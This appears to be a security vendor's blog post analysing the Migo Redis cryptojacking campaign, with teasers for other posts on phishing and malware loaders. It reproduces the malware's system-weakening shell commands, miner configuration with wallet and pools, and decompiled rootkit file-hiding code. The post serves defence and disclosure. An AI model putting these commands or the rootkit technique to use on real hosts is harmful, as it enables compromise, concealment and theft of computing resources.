Blog
/
/
February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
20
Feb 2024

A screenshot of a computerAI-generated content may be incorrect.
Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job. 
This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

A screenshot of a computerAI-generated content may be incorrect.
Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary Payload – Static Properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

 Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily Payload – Capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

A screenshot of a computerAI-generated content may be incorrect.
Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents of system-kernel.timer

Process Hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of Compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP Addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

Email

/

December 2, 2025

From Amazon to Louis Vuitton: How Darktrace Detects Black Friday Phishing Attacks

Default blog imageDefault blog image

Why Black Friday Drives a Surge in Phishing Attacks

In recent years, Black Friday has shifted from a single day of online retail sales and discounts to an extended ‘Black Friday Week’, often preceded by weeks of online hype. During this period, consumers are inundated with promotional emails and marketing campaigns as legitimate retailers compete for attention.

Unsurprisingly, this surge in legitimate communications creates an ideal environment for threat actors to launch targeted phishing campaigns designed to mimic legitimate retail emails. These campaigns often employ social engineering techniques that exploit urgency, exclusivity, and consumer trust in well-known brands, tactics designed to entice recipients into opening emails and clicking on malicious links.

Additionally, given the seasonal nature of Black Friday and the ever-changing habits of consumers, attackers adopt new tactics and register fresh domains each year, rather than reusing domains previously flagged as spam or phishing endpoints. While this may pose a challenge for traditional email security tools, it presents no such difficulty for Darktrace / EMAIL and its anomaly-based approach.

In the days and weeks leading up to ‘Black Friday’, Darktrace observed a spike in sophisticated phishing campaigns targeting consumers, demonstrating how attackers combine phycological manipulation with technical evasion to bypass basic security checks during this high-traffic period. This blog showcases several notable examples of highly convincing phishing emails detected and contained by Darktrace / EMAIL in mid to late November 2025.

Darktrace’s Black Friday Detections

Brand Impersonation: Deal Watchdogs’ Amazon Deals

The impersonation major online retailers has become a common tactic in retail-focused attacks, none more so than Amazon, which ranked as the fourth most impersonated brand in 2024, only behind Microsoft, Apple, Google, and Facebook [1]. Darktrace’s own research found Amazon to be the most mimicked brand, making up 80% of phishing attacks in its analysis of global consumer brands.

When faced with an email that appears to come from a trusted sender like Amazon, recipients are far more likely to engage, increasing the success rate of these phishing campaigns.

In one case observed on November 16, Darktrace detected an email with the subject line “NOW LIVE: Amazon’s Best Early Black Friday Deals on Gadgets Under $60”. The email was sent to a customer by the sender ‘Deal Watchdogs’, in what appeared to be an attempt to masquerade as a legitimate discount-finding platform. No evidence indicated that the company was legitimate. In fact, the threat actor made no attempt to create a convincing name, and the domain appeared to be generated by a domain generation algorithm (DGA), as shown in Figure 2.

Although the email was sent by ‘Deal Watchdogs’, it attempted to impersonate Amazon by featuring realistic branding, including the Amazon logo and a shade of orange similar to that used by them for the ‘CLICK HERE’ button and headline text.

Figure 1: The contents of the email observed by Darktrace, featuring authentic-looking Amazon branding.

Darktrace identified that the email, marked as urgent by the sender, contained a suspicious link to a Google storage endpoint (storage.googleapis[.]com), which had been hidden by the text “CLICK HERE”. If clicked, the link could have led to a credential harvester or served as a delivery vector for a malicious payload hosted on the Google storage platform.

Fortunately, Darktrace immediately identified the suspicious nature of this email and held it before delivery, preventing recipients from ever receiving or interacting with the malicious content.

Figure 2: Darktrace / EMAIL’s detection of the malicious phishing email sent to a customer.

Around the same time, Darktrace detected a similar email attempting to spoof Amazon on another customer’s network with the subject line “Our 10 Favorite Deals on Amazon That Started Today”, also sent by ‘Deal Watchdogs,’ suggesting a broader campaign.

Analysis revealed that this email originated from the domain petplatz[.]com, a fake marketing domain previously linked to spam activity according to open-source intelligence (OSINT) [2].

Brand Impersonation: Louis Vuitton

A few days later, on November 20, Darktrace / EMAIL detected a phishing email attempting to impersonate the luxury fashion brand Louis Vuitton. At first glance, the email, sent under the name ‘Louis Vuitton’ and titled “[Black Friday 2025] Discover Your New Favorite Louis Vuitton Bag – Elegance Starts Here”, appeared to be a legitimate Black Friday promotion. However, Darktrace’s analysis uncovered several red flags indicating a elaborate brand impersonation attempt.

The email was not sent by Louis Vuitton but by rskkqxyu@bookaaatop[.]ru, a Russia-based domain never before observed on the customer’s network. Darktrace flagged this as suspicious, noting that .ru domains were highly unusual for this recipient’s environment, further reinforcing the likelihood of malicious intent. Subsequent analysis revealed that the domain had only recently registered and was flagged as malicious by multiple OSINT sources [3].

Figure 3: Darktrace / EMAIL’s detection of the malicious email attempting to spoofLouis Vuitton, originating from a suspicious Russia-based domain.

Darktrace further noted that the email contained a highly suspicious link hidden behind the text “View Collection” and “Unsubscribe,” ensuring that any interaction, whether visiting the supposed ‘handbag store’ or attempting to opt out of marketing emails, would direct recipients to the same endpoint. The link resolved to xn--80aaae9btead2a[.]xn--p1ai (топааабоок[.]рф), a domain confirmed as malicious by multiple OSINT sources [4]. At the time of analysis, the domain was inaccessible, likely due to takedown efforts or the short-lived nature of the campaign.

Darktrace / EMAIL blocked this email before it reached customer inboxes, preventing recipients from interacting with the malicious content and averting any disruption.

Figure 4: The suspicious domain linked in the Louis Vuitton phishing email, now defunct.

Too good to be true?

Aside from spoofing well-known brands, threat actors frequently lure consumers with “too good to be true” luxury offers, a trend Darktrace observed in multiple cases throughout November.

In one instance, Darktrace identified an email with the subject line “[Black Friday 2025] Luxury Watches Starting at $250.” Emails contained a malicious phishing link, hidden behind text like “Rolex Starting from $250”, “Shop Now”, and “Unsubscribe”.

Figure 5: Example of a phishing email detected by Darktrace, containing malicious links concealed behind seemingly innocuous text.

Similarly to the Louis Vuitton email campaign described above, this malicious link led to a .ru domain (hxxps://x.wwwtopsalebooks[.]ru/.../d65fg4er[.]html), which had been flagged as malicious by multiple sources [5].

Figure 6: Darktrace / EMAIL’s detection of a malicious email promoting a fake luxury watch store, which was successfully held from recipient inboxes.

If accessed, this domain would redirect users to luxy-rox[.]com, a recently created domain (15 days old at the time of writing) that has also been flagged as malicious by OSINT sources [6]. When visited, the redirect domain displayed a convincing storefront advertising high-end watches at heavily discounted prices.

Figure 7: The fake storefront presented upon visiting the redirectdomain, luxy-rox[.]com.

Although the true intent of this domain could not be confirmed, it was likely a scam site or a credential-harvesting operation, as users were required to create an account to complete a purchase. As of the time or writing, the domain in no longer accessible .

This email illustrates a layered evasion tactic: attackers employed multiple domains, rapid domain registration, and concealed redirects to bypass detection. By leveraging luxury branding and urgency-driven discounts, the campaign sought to exploit seasonal shopping behaviors and entice victims into clicking.

Staying Protected During Seasonal Retail Scams

The investigation into these Black Friday-themed phishing emails highlights a clear trend: attackers are exploiting seasonal shopping events with highly convincing campaigns. Common tactics observed include brand impersonation (Amazon, Louis Vuitton, luxury watch brands), urgency-driven subject lines, and hidden malicious links often hosted on newly registered domains or cloud services.

These campaigns frequently use redirect chains, short-lived infrastructure, and psychological hooks like exclusivity and luxury appeal to bypass user scepticism and security filters. Organizations should remain vigilant during retail-heavy periods, reinforcing user awareness training, link inspection practices, and anomaly-based detection to mitigate these evolving threats.

Credit to Ryan Traill (Analyst Content Lead) and Owen Finn (Cyber Analyst)

Appendices

References

1.        https://keepnetlabs.com/blog/top-5-most-spoofed-brands-in-2024

2.        https://www.virustotal.com/gui/domain/petplatz.com

3.        https://www.virustotal.com/gui/domain/bookaaatop.ru

4.        https://www.virustotal.com/gui/domain/xn--80aaae9btead2a.xn--p1ai

5.        https://www.virustotal.com/gui/url/e2b868a74531cd779d8f4a0e1e610ec7f4efae7c29d8b8ab32c7a6740d770897?nocache=1

6.        https://www.virustotal.com/gui/domain/luxy-rox.com

Indicators of Compromise (IoCs)

IoC – Type – Description + Confidence

petplatz[.]com – Hostname – Spam domain

bookaaatop[.]ru – Hostname – Malicious Domain

xn--80aaae9btead2a[.]xn--p1ai (топааабоок[.]рф) – Hostname - Malicious Domain

hxxps://x.wwwtopsalebooks[.]ru/.../d65fg4er[.]html) – URL – Malicious Domain

luxy-rox[.]com – Hostname -  Malicious Domain

MITRE ATT&CK Mapping  

Tactic – Technique – Sub-Technique  

Initial Access - Phishing – (T1566)  

Continue reading
About the author
Ryan Traill
Analyst Content Lead

Blog

/

Network

/

November 27, 2025

CastleLoader & CastleRAT: Behind TAG150’s Modular Malware Delivery System

CastleLoader & CastleRAT: Behind TAG150’s Modular Malware Delivery SystemDefault blog imageDefault blog image

What is TAG-150?

TAG-150, a relatively new Malware-as-a-Service (MaaS) operator, has been active since March 2025, demonstrating rapid development and an expansive, evolving infrastructure designed to support its malicious operations. The group employs two custom malware families, CastleLoader and CastleRAT, to compromise target systems, with a primary focus on the United States [1]. TAG-150’s infrastructure included numerous victim-facing components, such as IP addresses and domains functioning as command-and-control (C2) servers associated with malware families like SecTopRAT and WarmCookie, in addition to CastleLoader and CastleRAT [2].

As of May 2025, CastleLoader alone had infected a reported 469 devices, underscoring the scale and sophistication of TAG-150’s campaign [1].

What are CastleLoader and CastleRAT?

CastleLoader is a loader malware, primarily designed to download and install additional malware, enabling chain infections across compromised systems [3]. TAG-150 employs a technique known as ClickFix, which uses deceptive domains that mimic document verification systems or browser update notifications to trick victims into executing malicious scripts. Furthermore, CastleLoader leverages fake GitHub repositories that impersonate legitimate tools as a distribution method, luring unsuspecting users into downloading and installing malware on their devices [4].

CastleRAT, meanwhile, is a remote access trojan (RAT) that serves as one of the primary payloads delivered by CastleLoader. Once deployed, CastleRAT grants attackers extensive control over the compromised system, enabling capabilities such as keylogging, screen capturing, and remote shell access.

TAG-150 leverages CastleLoader as its initial delivery mechanism, with CastleRAT acting as the main payload. This two-stage attack strategy enhances the resilience and effectiveness of their operations by separating the initial infection vector from the final payload deployment.

How are they deployed?

Castleloader uses code-obfuscation methods such as dead-code insertion and packing to hinder both static and dynamic analysis. After the payload is unpacked, it connects to its command-and-control server to retrieve and running additional, targeted components.

